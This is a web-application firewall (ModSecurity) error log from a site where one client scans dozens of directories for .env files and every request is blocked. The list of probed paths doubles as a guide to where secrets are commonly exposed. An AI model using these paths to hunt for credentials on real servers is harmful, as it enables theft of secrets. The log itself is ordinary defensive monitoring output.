[Sun Oct 25 14:01:41.370116 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5gAAAAk"]
[Sun Oct 25 14:01:41.370256 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5gAAAAk"]
[Sun Oct 25 14:01:41.370545 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5gAAAAk"]
[Sun Oct 25 14:01:41.371477 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7AAAAAQ"]
[Sun Oct 25 14:01:41.371576 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3QAAAAM"]
[Sun Oct 25 14:01:41.371625 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7AAAAAQ"]
[Sun Oct 25 14:01:41.371709 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3QAAAAM"]
[Sun Oct 25 14:01:41.371841 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7AAAAAQ"]
[Sun Oct 25 14:01:41.371987 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3QAAAAM"]
[Sun Oct 25 14:01:41.373129 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBAAAAAc"]
[Sun Oct 25 14:01:41.373287 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBAAAAAc"]
[Sun Oct 25 14:01:41.373520 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBAAAAAc"]
[Sun Oct 25 14:01:41.374263 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPQAAACA"]
[Sun Oct 25 14:01:41.374406 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPQAAACA"]
[Sun Oct 25 14:01:41.374630 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPQAAACA"]
[Sun Oct 25 14:01:41.383621 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5EBfwFw76qlSfceadvdwAAAAA"]
[Sun Oct 25 14:01:41.383905 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5EBfwFw76qlSfceadvdwAAAAA"]
[Sun Oct 25 14:01:41.384332 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5EBfwFw76qlSfceadvdwAAAAA"]
[Sun Oct 25 14:01:41.390853 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NQAAACQ"]
[Sun Oct 25 14:01:41.391118 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NQAAACQ"]
[Sun Oct 25 14:01:41.391430 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5EBYIGIq5euXyTbvT1NQAAACQ"]
[Sun Oct 25 14:01:41.392859 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5wAAAAk"]
[Sun Oct 25 14:01:41.393016 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5wAAAAk"]
[Sun Oct 25 14:01:41.393234 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD5wAAAAk"]
[Sun Oct 25 14:01:41.394235 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGwAAAA0"]
[Sun Oct 25 14:01:41.394361 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPgAAACA"]
[Sun Oct 25 14:01:41.394379 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGwAAAA0"]
[Sun Oct 25 14:01:41.394632 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGwAAAA0"]
[Sun Oct 25 14:01:41.394692 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPgAAACA"]
[Sun Oct 25 14:01:41.395045 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5EBf1CbQghwAu-zzMCPgAAACA"]
[Sun Oct 25 14:01:41.395894 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIQAAABE"]
[Sun Oct 25 14:01:41.396105 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIQAAABE"]
[Sun Oct 25 14:01:41.396172 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3gAAAAM"]
[Sun Oct 25 14:01:41.396325 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5EBRfmy5DaFfyE01WrIQAAABE"]
[Sun Oct 25 14:01:41.396350 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3gAAAAM"]
[Sun Oct 25 14:01:41.396599 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw3gAAAAM"]
[Sun Oct 25 14:01:41.397341 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7QAAAAQ"]
[Sun Oct 25 14:01:41.397495 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5EBaYYcNPV1bnoekNX7QAAAAQ"]
[Sun Oct 25 14:01:41.397615 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5EBROIqc1eRNCRH2cpBQAAAAc"]
